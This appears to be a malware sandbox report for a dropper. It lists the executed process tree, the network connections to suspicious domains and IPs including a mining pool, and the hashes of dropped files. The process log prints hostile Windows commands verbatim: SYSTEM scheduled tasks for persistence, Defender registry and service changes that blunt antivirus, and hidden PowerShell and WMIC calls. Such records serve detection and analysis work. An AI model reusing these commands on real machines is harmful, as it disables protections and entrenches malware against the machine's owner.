schtasks /CREATE /TN "WFVPvOFzrjCnPPlbL" /SC once /ST 09:50:45 /RU "SYSTEM" /TR "\"C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe\" 7d /BirodidhV 525403 /S" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "WFVPvOFzrjCnPPlbL"

C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe

C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe 7d /BirodidhV 525403 /S

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "butYHpXTvMdZIJsEKZ"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\tffvHWJZU\hsuNxZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "oiGBDDjiIQmhwtu" /V1 /F

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True

C:\Windows\windefender.exe

"C:\Windows\windefender.exe"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True

C:\Windows\SysWOW64\sc.exe

sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True

C:\Windows\windefender.exe

C:\Windows\windefender.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "oiGBDDjiIQmhwtu2" /F /xml "C:\Program Files (x86)\tffvHWJZU\XGTqqIN.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /END /TN "oiGBDDjiIQmhwtu"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "oiGBDDjiIQmhwtu"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "mVOvxPujqogGhF" /F /xml "C:\Program Files (x86)\REeMUtPoCvFU2\hEoNbsk.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "PuKixiXcCNlkt2" /F /xml "C:\ProgramData\NGysLhxJEZNwhMVB\kDCgVVc.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "PNkVCGbsoOwbzBvhS2" /F /xml "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\gamQSjE.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "OEjxyANCnYwFWrViDzJ2" /F /xml "C:\Program Files (x86)\kLpsRMujXEpbC\RlkloeY.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "dSPsRFCNvoTMekFez" /SC once /ST 03:42:11 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\mrYrpJCpOmktZWwz\RoyOThPO\nRFxOaw.dll\",#1 /gdidL 525403" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "dSPsRFCNvoTMekFez"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "WFVPvOFzrjCnPPlbL"

C:\Windows\system32\rundll32.EXE

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\mrYrpJCpOmktZWwz\RoyOThPO\nRFxOaw.dll",#1 /gdidL 525403

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\mrYrpJCpOmktZWwz\RoyOThPO\nRFxOaw.dll",#1 /gdidL 525403

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "dSPsRFCNvoTMekFez"

C:\Users\Admin\Documents\SimpleAdobe\uzZi9rEzAxV101Nw31wN1vyL.exe

C:\Users\Admin\Documents\SimpleAdobe\uzZi9rEzAxV101Nw31wN1vyL.exe

C:\Users\Admin\Documents\SimpleAdobe\uzZi9rEzAxV101Nw31wN1vyL.exe

"C:\Users\Admin\Documents\SimpleAdobe\uzZi9rEzAxV101Nw31wN1vyL.exe"

Network

Country Destination Domain Proto
GB 85.192.56.26:80 85.192.56.26 tcp
US 8.8.8.8:53 api.myip.com udp
US 104.26.8.59:443 api.myip.com tcp
US 8.8.8.8:53 apps.identrust.com udp
US 2.18.190.81:80 apps.identrust.com tcp
US 8.8.8.8:53 ipinfo.io udp
US 34.117.186.192:443 ipinfo.io tcp
US 34.117.186.192:443 ipinfo.io tcp
US 8.8.8.8:53 vk.com udp
US 8.8.8.8:53 monoblocked.com udp
US 8.8.8.8:53 zanzibarpivo.com udp
US 8.8.8.8:53 triedchicken.net udp
US 8.8.8.8:53 cannedmarjijefes.sbs udp
US 8.8.8.8:53 gig.fastbutters.com udp
DE 185.172.128.203:80 185.172.128.203 tcp
RU 5.42.96.7:80 5.42.96.7 tcp
RU 5.42.66.10:80 5.42.66.10 tcp
RU 5.42.66.10:80 5.42.66.10 tcp
BG 94.232.45.38:80 94.232.45.38 tcp
RU 87.240.132.67:80 vk.com tcp
RU 45.130.41.108:80 monoblocked.com tcp
RU 87.240.132.67:80 vk.com tcp
US 172.67.144.181:80 zanzibarpivo.com tcp
US 172.67.180.119:80 triedchicken.net tcp
US 172.67.162.121:80 gig.fastbutters.com tcp
US 104.21.13.79:80 cannedmarjijefes.sbs tcp
US 172.67.144.181:80 zanzibarpivo.com tcp
US 172.67.180.119:80 triedchicken.net tcp
US 172.67.162.121:80 gig.fastbutters.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
US 172.67.144.181:80 zanzibarpivo.com tcp
US 172.67.180.119:80 triedchicken.net tcp
US 172.67.162.121:80 gig.fastbutters.com tcp
US 104.21.13.79:443 cannedmarjijefes.sbs tcp
RU 45.130.41.108:80 monoblocked.com tcp
US 172.67.144.181:80 zanzibarpivo.com tcp
US 172.67.180.119:80 triedchicken.net tcp
US 172.67.162.121:80 gig.fastbutters.com tcp
US 172.67.180.119:443 triedchicken.net tcp
US 172.67.144.181:443 zanzibarpivo.com tcp
US 172.67.162.121:443 gig.fastbutters.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 45.130.41.108:80 monoblocked.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 45.130.41.108:80 monoblocked.com tcp
US 8.8.8.8:53 cheremushki.net udp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
US 8.8.8.8:53 x2.c.lencr.org udp
US 8.8.8.8:53 x2.c.lencr.org udp
US 188.114.96.2:443 cheremushki.net tcp
RU 45.130.41.108:443 monoblocked.com tcp
BE 23.55.97.11:80 x2.c.lencr.org tcp
BE 23.55.97.11:80 x2.c.lencr.org tcp
RU 87.240.132.67:80 vk.com tcp
US 8.8.8.8:53 carthewasher.net udp
US 188.114.97.2:443 carthewasher.net tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
US 8.8.8.8:53 f.123654987.xyz udp
RU 87.240.132.67:80 vk.com tcp
GB 37.221.125.202:443 f.123654987.xyz tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:443 vk.com tcp
US 188.114.96.2:443 carthewasher.net tcp
RU 87.240.132.67:443 vk.com tcp
RU 87.240.132.67:443 vk.com tcp
RU 87.240.132.67:443 vk.com tcp
RU 87.240.132.67:443 vk.com tcp
RU 87.240.132.67:443 vk.com tcp
RU 87.240.132.67:443 vk.com tcp
RU 87.240.132.67:443 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:80 vk.com tcp
RU 87.240.132.67:443 vk.com tcp
RU 5.42.66.10:80 5.42.66.10 tcp
GB 85.192.56.26:80 85.192.56.26 tcp
GB 85.192.56.26:80 85.192.56.26 tcp
US 8.8.8.8:53 iplis.ru udp
US 104.21.63.150:443 iplis.ru tcp
US 8.8.8.8:53 iplogger.org udp
US 104.21.4.208:443 iplogger.org tcp
DE 185.172.128.151:80 185.172.128.151 tcp
US 8.8.8.8:53 udp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 45.76.89.70:443 pool.hashvault.pro tcp
US 8.8.8.8:53 254b7a9a-171a-4d76-99be-99adfb55c630.uuid.theupdatetime.org udp
US 8.8.8.8:53 msdl.microsoft.com udp
US 204.79.197.219:443 msdl.microsoft.com tcp
US 8.8.8.8:53 www.microsoft.com udp
US 8.8.8.8:53 vsblobprodscussu5shard30.blob.core.windows.net udp
US 20.150.38.228:443 vsblobprodscussu5shard30.blob.core.windows.net tcp
US 8.8.8.8:53 udp
US 20.150.79.68:443 vsblobprodscussu5shard30.blob.core.windows.net tcp
US 8.8.8.8:53 server3.theupdatetime.org udp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.135.233:443 cdn.discordapp.com tcp
US 74.125.250.129:19302 stun2.l.google.com udp
BG 185.82.216.108:443 server3.theupdatetime.org tcp
US 8.8.8.8:53 carsalessystem.com udp
US 104.21.94.82:443 carsalessystem.com tcp
US 8.8.8.8:53 service-domain.xyz udp
US 3.80.150.121:443 service-domain.xyz tcp
US 3.80.150.121:443 service-domain.xyz tcp
US 3.80.150.121:443 service-domain.xyz tcp
US 3.80.150.121:443 service-domain.xyz tcp
US 8.8.8.8:53 clients2.google.com udp
GB 172.217.16.238:443 clients2.google.com tcp
US 8.8.8.8:53 clients2.googleusercontent.com udp
GB 142.250.200.33:443 clients2.googleusercontent.com tcp
BG 185.82.216.108:443 server3.theupdatetime.org tcp
US 8.8.8.8:53 api2.check-data.xyz udp
US 44.231.33.228:80 api2.check-data.xyz tcp
BG 185.82.216.108:443 server3.theupdatetime.org tcp

Files

memory/1808-0-0x0000000140000000-0x000000014099F000-memory.dmp

memory/1808-2-0x000007FEFD230000-0x000007FEFD29C000-memory.dmp

memory/1808-3-0x000007FEFD230000-0x000007FEFD29C000-memory.dmp

memory/1808-1-0x000007FEFD243000-0x000007FEFD244000-memory.dmp

memory/1808-6-0x000007FEFD230000-0x000007FEFD29C000-memory.dmp

memory/1808-5-0x000007FEFD230000-0x000007FEFD29C000-memory.dmp

memory/1808-4-0x000007FEFD230000-0x000007FEFD29C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab319D.tmp

MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

C:\Users\Admin\AppData\Local\Temp\Tar327F.tmp

MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 ab92758024006a6e3c13866e1ec4f554
SHA1 a51d83fd87fa57f040b978efa3b81b9a993e211e
SHA256 facc72a39d1e3b189e1e24d6557a5494b3844697f1fefbe2d1126934758e62d7
SHA512 774842564ad2dcb21db76cef17020e57f7e5d3c72c74c8ce0bfb5cf865895e73c1b642ed09066b65524182b645b3bbde073916ac7a6f1dfdeb155b1f624c3f79

C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe

MD5 ed61f573f0e97d4d019f5d60bcca9941
SHA1 22f7c8289a5a5ba40d27ba57468a070aa8c5fc9d
SHA256 87db95ad37a70db12db4b64ca3aea109c2556cfd4bbe9b8dc6d82ae6e31a64ae
SHA512 6a2a9dbde80a65bb12f46a32deb3985372ac28def6411c5a78e6a8eebf272133aea8bfadff9143b0db790d6f1d055e3a11f83aff93934283b1f874fc2e661812

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 2be83f0297f73343c3b823dff7747847
SHA1 4c380431f3a76e104fdbcf07888579aede738d88
SHA256 3613ada76b0ba20d1f23e8292ea602bfe81ddcff2c2f555fa12a6ba0e9ecc015
SHA512 4b0f06666ced3b4edbd3bc9d14542005510ddf822a2760ddc7cdbd69c7210fe20b30b0803e4e3aba67b0be199bf9050ff740843b2621687ba5d980622ef554f6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 d1702ace6be795c3108a47aca3380a0d
SHA1 131ca57486eb3538c1032b5bfe0ce040d7d99ea0
SHA256 4050acee733aa84ff05c32e9bd109a8f94a6d6fa430135d0e7646add69119884
SHA512 bc20c81ab72acd76b45214ed54378a67244422d5eb684d5fe6ec276d2c79e82435d4dc87626f3fef6e8d5e7740919af952653c91efc5fc6654cd94a539193e6c

C:\Users\Admin\Documents\SimpleAdobe\1aO_4Ph8WjTL8YmsDvgspMmM.exe

MD5 1c2c9a396e9c21771e7b083e26ac00e1
SHA1 fd4762de9f5ddece9e5e520f8f6d7d88551834e9
SHA256 f78afb8b0ca6a34b95e29c29f012f342736b7dfd56dabe0f34ca40289c7b7ab7
SHA512 64beb9b82c6e8d24fd3cdd4b2c66d52c7f3a5a827ae85a803360d10be5c653bcfd0c0de2660be3e5a412466374be9a98cd9b90bf066edb36d4e6725db676cb97

C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe

MD5 2290f693b91357de626b1d356db16f4b
SHA1 1506d19e4c0cad91e01668363b934045a27c2529
SHA256 c6f88bb90e18f694932b6822339ba170cfba7b24e7404278c926b9748d5f94ec
SHA512 9fca1b0c193f2b7e8bde64a1ea8b5966e2182d397f31fcdeb1c0eac032c5ed5acf1ee4e34ffbdcadb6e38c2c28ceaae06b34d36d2a594dba3f830641607cf94d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 e3f04b658a582bba3cf474e482262396
SHA1 2c753aa7cb1af5988182df7884f7d2a50596a41f
SHA256 38c8f995b1033cea21c5e3318a0766e65c87b0f1358fac293eff6e3bfc2e481f
SHA512 2f7589098d1a6d2825946c6183eecdc2164792c960afd6cc26a914f8612da773f7db8203da444c31f2811efcd8d0d20524eeb6d8f3d86cfed4aae1e72f45acd4

C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe

MD5 a6e3de929821800ccc66d20afafec7b8
SHA1 d0bca430802cf80c7e01ecfd5fc4df38a9736934
SHA256 531bbb8d4a66489852ac6802d818d8a489213b3bf4a635795d590101c579d2a5
SHA512 d0ce9adfb37eec0601f5d63b621d55c62f88a6478451149c90a03922e660e04453f042e6772af67d754b0548a3254113ef37fd0e1f1ca7886a20afe7f20a515a

memory/1808-221-0x0000000140000000-0x000000014099F000-memory.dmp

C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe

MD5 903d889f5e30a331ead79110942b3781
SHA1 f1781fe7f9b7a6f5e37e9d4f43672e62fb2685fb
SHA256 762289df9a17fd9a9a01ffa965ab7d0a41488bf61ddab8fc066758d357f266c4
SHA512 0c3743a06e5df5114a56e7ef8dbe61579075a7cd46db6a3da87cefc58a90f05f5b8909dc250ac8561a4ba20c7b9ea421ec2bfd5048c3f45240377ad6f681d84b

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 e80d243a8bd0b493906faa9bb760fe97
SHA1 29470c0a757c2aa5421836bdee36b1a4048b0fd4
SHA256 d96eff8b2b0603ebd38fc943266fea632c1a97e56752a628cfa372037cde2c6a
SHA512 82c1490571dbbabadb9c5a55a8275ff0ef81bb5aa637d0a38aa1e6dc4a99cb70ae4ef18dd82cdeafa93337cf6ee005099963980a0158063c5dc5d0978250a28c

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 5c4b2fcc68d0072eb0a46c84dfb77f9a
SHA1 2e616c869f15df9389b74077d0519284adbf9496
SHA256 538ea9605b6d95e2064789fc1b1603e3daeb0613aa2ecd4b12d9f39010b3e83a
SHA512 177919b954bfacfab808747b38f83a3f7fbe3f6e052c373f587b766657c1788d1e93aa571307686b2250214b105a5368355de92524df3c8d0be9b042b3595f69

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 107d21ce6eae0c065d28ea310e9a5dac
SHA1 26868355a65560dd479fe58fa46d8cbbc55d590e
SHA256 0e35807bc5660d926eef92d346d1be00d16410288bb1f305d859cdc7fa5dba84
SHA512 4f89fa8b1de7a48afc7416803e2ae3ceaf0495bae738bd5bc00a4b8cda604da6c56c740beffb50f54e60b3a28a89eb194c2ebe17a49b47541fccf8ca743162c4

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 be4ef3514b8f6614b8a7f72ff965d6c5
SHA1 33607b4fa97fa7f21e060dc161787b1a6c399e34
SHA256 c4b50045af6f2f5e0b7be2edf1d9a3f124612f149cfd08f5a3d22000f6abd55a
SHA512 2e3449185ccbb57ecae005927fc33cff098b0f310773e1c3d58e22a2beb8bad7be1e52a362b48eca4ade8e800a735b8f7735f88ac3bcb7097580f6a4ed0e4f77

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 348edb8e870597724b29f2c2f40f4a78
SHA1 b9122bea79771dabf1fdba4787c75ece74b153aa
SHA256 c98524e42d4d8047c35e6a433011287a81d95af4f76ad663d2ccd7159e415e25
SHA512 a2a7b164cb2f8e5deb33abdc6e75c4f5e0a0d5dc1a5b3555adada31da61405ca7a6c4a2e8c3b184246bbb8192ede14a622f676d8a7c57e6d6b16429af05ffcc4

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 ea7347f2d7a333ae4a8ef75ab2354334
SHA1 4f8b0477b703481b56fd490a166f77213cc04c0b
SHA256 667eb5482074e119fa21bafff3fac756c422030af41f761dd7dd9c5947e0f4a9
SHA512 ac8b156551e4839e7536afd0232cb3cf164c78297ab198a251580119d220800ef5eb27935d100c3db007835158a39072741bb3c67beb5e836af1f548f4158603

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 b6265dc102279ac720ddfed27b9d52fc
SHA1 f4b29d3b479042d150e3aefa4e7a527c2068dd90
SHA256 59fe57e8c10e10e6f71715c8024bafaaf57d2cdaf4a5711b2b308baf4ad671c6
SHA512 b217abc0654e59407c452339cab6d5a25dcb429dcef21c3b9e3f4968aacb23c055bbd4f6c5ef060b2d0b1cc9d58c1899d5b3b97c44ef82e223fd9d08226c745d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 6eddd854c03596be031963dff38e53a3
SHA1 34b3de563daa36f8c21c72fe8a42330ad33bded2
SHA256 e60f4a8b4c2f157bc567261a7b97db0d21d80b8c8a321609e2d7ac21b0ecccb4
SHA512 b4bcfe58ba642bd1b3b2d23c65c8b396605061a90a7be6706f4e6d68cd96e2ef959e4e1fe544e6541918142c4cf903100d0cd2d4be927c8d10901a31421b6299

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 2769c23648e070f6d7a48fc40ccf8bf2
SHA1 ef2ab6c9878772b3dd6bb311021781b1a7908f89
SHA256 5fc388432291334a72b48b139adabb5553e0981b69980dedeb8b3f8d44a5d1d8
SHA512 fad902e2b40bf999e26273beab707bea115f4c4f56c65147341bf05d6924802aadc095adbbdde8a905e5d7867e49cb66e2894d7dac11069a5cb88946a010c897

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 5cb000934f259f56a2775e017c5165a1
SHA1 7a886a7fdbbbbe3bc33c9c71e8b73e005b26bef9
SHA256 49a1a51f88ebe7f6f8263f0a043d1bd24ad30ab18c7d3183ef6019355dbdbbf9
SHA512 dcddec7ca1518f4ef41b47ae73a7702012ada043c0c410535d5cefe4d5295ad1beb9487d800072a22e16357d17636a6dbc6ec423d1de7521c8b87c4d952d90c4

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 19cda611b594c9102c8bebbfecae842e
SHA1 7ba2d81ce8998b8ebcc09fd2657cf13a2b800285
SHA256 8e7330836dd09e3793b52af2c406f65b4da03802a40183770b4b30a72a2484cb
SHA512 0473d11cc33ae95e36892b0bb827e3981b47ea39b02589a8d69de5d1d686fcfc71e5df9906a93633b2ec72577711d50801febc7059ec6a821b1a7eef65f3f81c

